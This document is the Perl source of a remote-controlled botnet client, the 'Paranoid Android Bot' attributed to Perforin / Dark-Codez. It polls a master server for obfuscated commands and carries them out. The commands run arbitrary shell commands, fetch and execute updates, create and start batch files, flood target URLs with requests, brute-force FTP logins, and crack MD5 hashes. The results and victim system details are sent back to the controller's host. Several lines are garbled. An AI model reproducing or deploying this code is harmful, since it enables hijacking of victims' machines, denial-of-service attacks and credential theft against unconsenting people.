#! /usr/bin/perl ######################## # # Paranoid Android Bot # # by Perforin | Dark-Codez # # Perl HTTP Bot # # Checking commands in a textfile on a # webserver. Commands can be changed # in the control-center! # ######################## use LWP::UserAgent; use LWP::Simple; use Net::FTP; use Digest::MD5 qw(md5 md5_hex md5_base64); @decoded = (); print <new('GET',$getTHEip); $result = $agent->request($request); $getTHEip =~ s/.*\///; $getTHEip = 'ip.txt'; open(lookME, ">", "$getTHEip"); print lookME $result->content(); close(lookME); $need = "ip.txt"; open(IP,"<","$need"); @IN = ; close(IP); unlink "ip.txt"; @iplist = (); foreach $line(@IN){ if($line =~ /(\d+\.\d+\.\d+\.\d+)/){ push(@iplist, $1); } } $myIP = "\nHello, I am from @iplist"; $myIP = "http://perforin.coderz-heaven.de/Wordlists/counter.php?content=$myIP"; # COUNTING $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET',$myIP); $result = $agent->request($request); $myIP =~ s/.*\///; @IPRES = $result->content(); while (1) { #######CHECKING COMMANDS! ####### sleep 5; $getit = 'http://perforin.coderz-heaven.de/Wordlists/befehle.txt'; # Master Server $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET',$getit); $result = $agent->request($request); $getit =~ s/.*\///; @result = $result->content(); foreach $line (@result) { if ($line =~ m/MAKE/i) { print "\n"."[+] Making File..."."\n"; &makeFILE; } elsif ($line =~ m/DOWNLOAD/i) { print "\n"."[+] Downloading File..."."\n"; &downLOAD; } elsif ($line =~ m/STOP/i) { print "\n"."[~] Waiting for commands..."."\n"; } elsif ($line =~ m/START/i) { print "\n"."[+] Start Flooding..."."\n"; &getURL; } elsif ($line =~ m/EXECUTE/i) { print "\n"."[+] Executing Shell Command..."."\n"; &exeCUTE; } elsif ($line =~ m/UPDATE/i) { print "\n"."[+] Updating Bot..."."\n"; &upDATE; } elsif ($line =~ m/FTP CRACK/i) { print "\n"."[+] Cracking FTP..."."\n"; &ftpCRACK; } elsif ($line =~ m/MD5 CRACK/i) { print "\n"."[+] Cracking MD5..."."\n"; &md5CRACK; } elsif ($line =~ m/MILW0rm/i) { print "\n"."[+] Checking milw0rm.com..."."\n"; &mille; } elsif ($line =~ m/PANIC/i) { print "\n"."[+] PANIC! Disconnect..."."\n"; &panic; } elsif ($line =~ m/SPY/i) { print "\n"."[+] Spying Victim..."."\n"; &spy; } } ####### MILWORM CHECKING! ####### sub mille { $getMILLE = 'http://milw0rm.com/rss.php'; # Master Server $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET',$getMILLE); $result = $agent->request($request); $getit =~ s/.*\///; @result = $result->content(); open(RES,">","mille.txt"); print RES @result; close(RES); open(RES,"<","mille.txt"); @inhalt = ; close(RES); unlink ("mille.txt"); foreach $shit (@inhalt) { $shit =~ tr// /; $shit =~ tr/\// /; $shit =~ s/milw0rm.com//ig; $shit =~ s/<=/<=/ig; if ($shit =~ m/title/i) { $shit =~ s/title/ /ig; push(@sploits,"$shit"); } } $milleFOUND = "@sploits"; $postMILLE = "http://perforin.coderz-heaven.de/Wordlists/milw0rm.php?content=$milleFOUND"; # UPLOAD FTP $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET',$postMILLE); $result = $agent->request($request); $postMILLE =~ s/.*\///; @res = $result->content(); } ####### MD5 CRACKING! ####### sub md5CRACK { $content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt'); open(MILE,"<","mil-dic.txt"); @passes = ; close(MILE); @decoded = (); open(result,">","tar.txt"); for $cracking (@result) { $cracking =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/; print result "$cracking"; } close(result); open(result,"; close(result); unlink "tar.txt"; foreach $crypted (@ddd) { $crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/; push(@decoded, "$crypted"); } @hash = @decoded[8]; $hash= "@hash"; $hash =~ s/\r\n//; foreach $string (@passes) { chomp($string); $md5 = Digest::MD5->new; $md5->add("$string"); $digest = $md5->hexdigest; if ($digest eq $hash) { print "[+] Cracked!"."\n"; $md5FOUND = "HASH: $hash\nDECRYPT: $string"; $postHASH = "http://perforin.coderz-heaven.de/Wordlists/md5.php?content=$md5FOUND"; # UPLOAD HASH $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET',$postHASH); $result = $agent->request($request); $postHASH =~ s/.*\///; @res = $result->content(); } } } ####### FTP CRACKING! ####### sub ftpCRACK { $content=getstore('http://www.milw0rm.com/mil-dic.php','mil-dic.txt'); open(MILE,"<","mil-dic.txt"); @passes = ; close(MILE); @user = ("anonymous","guest", "admin", "root"); @decoded = (); open(result,">","tar.txt"); for $cracking (@result) { $cracking =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/; print result "$cracking"; } close(result); open(result,"; close(result); foreach $crypted (@ccc) { $crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/; push(@decoded, "$crypted"); } @url = @decoded[8]; unlink "tar.txt"; for $url (@url) { $ftp = Net::FTP->new("$url",Debug => 0,Timeout => 5) || die "wtf"; } foreach $pass (@passes) { foreach $user (@user) { if ($ftp->login("$user","$pass")) { print "[+] Cracked!"."\n"; $ftp->quit; $ftpFOUND = "USER: $user\nPASSWORD: $pass"; $postFTP = "http://perforin.coderz-heaven.de/Wordlists/ftp.php?content=$ftpFOUND"; # UPLOAD FTP $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET',$postFTP); $result = $agent->request($request); $postFTP =~ s/.*\///; @res = $result->content(); } } } print "\n"."[-] Bruting failed!"; } ####### UDATING BOT! ####### sub upDATE { @decoded = (); open(result,">tar.txt"); for $updating (@result) { $updating =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/; print result "$updating"; } close(result); open(result,"; close(result); foreach $crypted (@bbb) { $crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/; push(@decoded, "$crypted"); } @decoded = @decoded[8]; unlink "tar.txt"; for $URL (@decoded) { my $content=get("$URL"); my @IN = $content; open(IN,">P.A.B.V1.6.pl"); print IN @IN; close(IN); } system("P.A.B.V1.6.pl"); exit; } ####### DOWNLOADING FILE! ####### sub downLOAD { @decoded = (); open(result,">tar.txt"); for $addy (@result) { $addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/; print result "$addy"; } close(result); open(result,"; close(result); foreach $crypted (@INHALT) { $crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/; push(@decoded, "$crypted"); } @decoded = @decoded[8]; unlink "tar.txt"; for $URL (@decoded) { my $content=get("$URL"); my @IN = $content; open(IN,">P.A.B.txt"); print IN @IN; close(IN); } } ####### EXECUTING COMMAND! ####### sub exeCUTE { @decoded = (); open(result,">tar.txt"); for $addy (@result) { $addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/; print result "$addy"; } close(result); open(result,"; close(result); foreach $crypted (@aaa) { $crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/; push(@decoded, "$crypted"); } @decoded = @decoded[8]; unlink "tar.txt"; for $COMMAND (@decoded) { system ("$COMMAND"); } } ####### MAKING FILE! ####### sub makeFILE { @decoded = (); open(result,">tar.txt"); for $addy (@result) { $addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/; print result "$addy"; } close(result); open(result,"; close(result); foreach $crypted (@FILE) { $crypted =~ tr/zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/; push(@decoded, "$crypted"); } @decoded = @decoded[8..50]; unlink "tar.txt"; open(makeFILE,">P.A.B.bat"); print makeFILE @decoded; close(makeFILE); system ("start P.A.B.bat"); } ####### GETTING URL! ####### sub getURL { @decoded = (); open(result,">tar.txt"); for $addy (@result) { $addy =~ tr/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^/; print result "$addy"; } close(result); open(target,"; close(target); for $crypted (@URL) { $crypted =~ tr/=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^=@$|![#{}_€&Ä*ÜÖ,+;%><~?]^/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/; push(@decoded, "$crypted"); } @decoded = @decoded[8]; unlink "tar.txt"; &Flood } ####### START FLOODING! ####### sub Flood { $count = 0; for $URL (@decoded) { print "Target: $URL"."\n"; do { $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET', $URL); $result = $agent->request($request); $count++; print "Anzahl: $count\n"; } until ($count == 31337); } } ######### SPY VICTIM! ######### sub spy { @SPY = ("=========================\n", "OS: $^O\n", "UserID: $<\n", "Username: $ENV{USERNAME}\n", "Homedrive: $ENV{HOMEDRIVE}\n", "Systemroot: $ENV{SystemRoot}\n", "=========================\n\n"); $postSPY = "http://perforin.coderz-heaven.de/Wordlists/spy.php?content=@SPY"; $agent = new LWP::UserAgent; $request = HTTP::Request->new('GET',$postSPY); $result = $agent->request($request); $postSPY =~ s/.*\///; @res = $result->content(); } ####### DISCONNECT BOT! ####### sub panic { exit; } }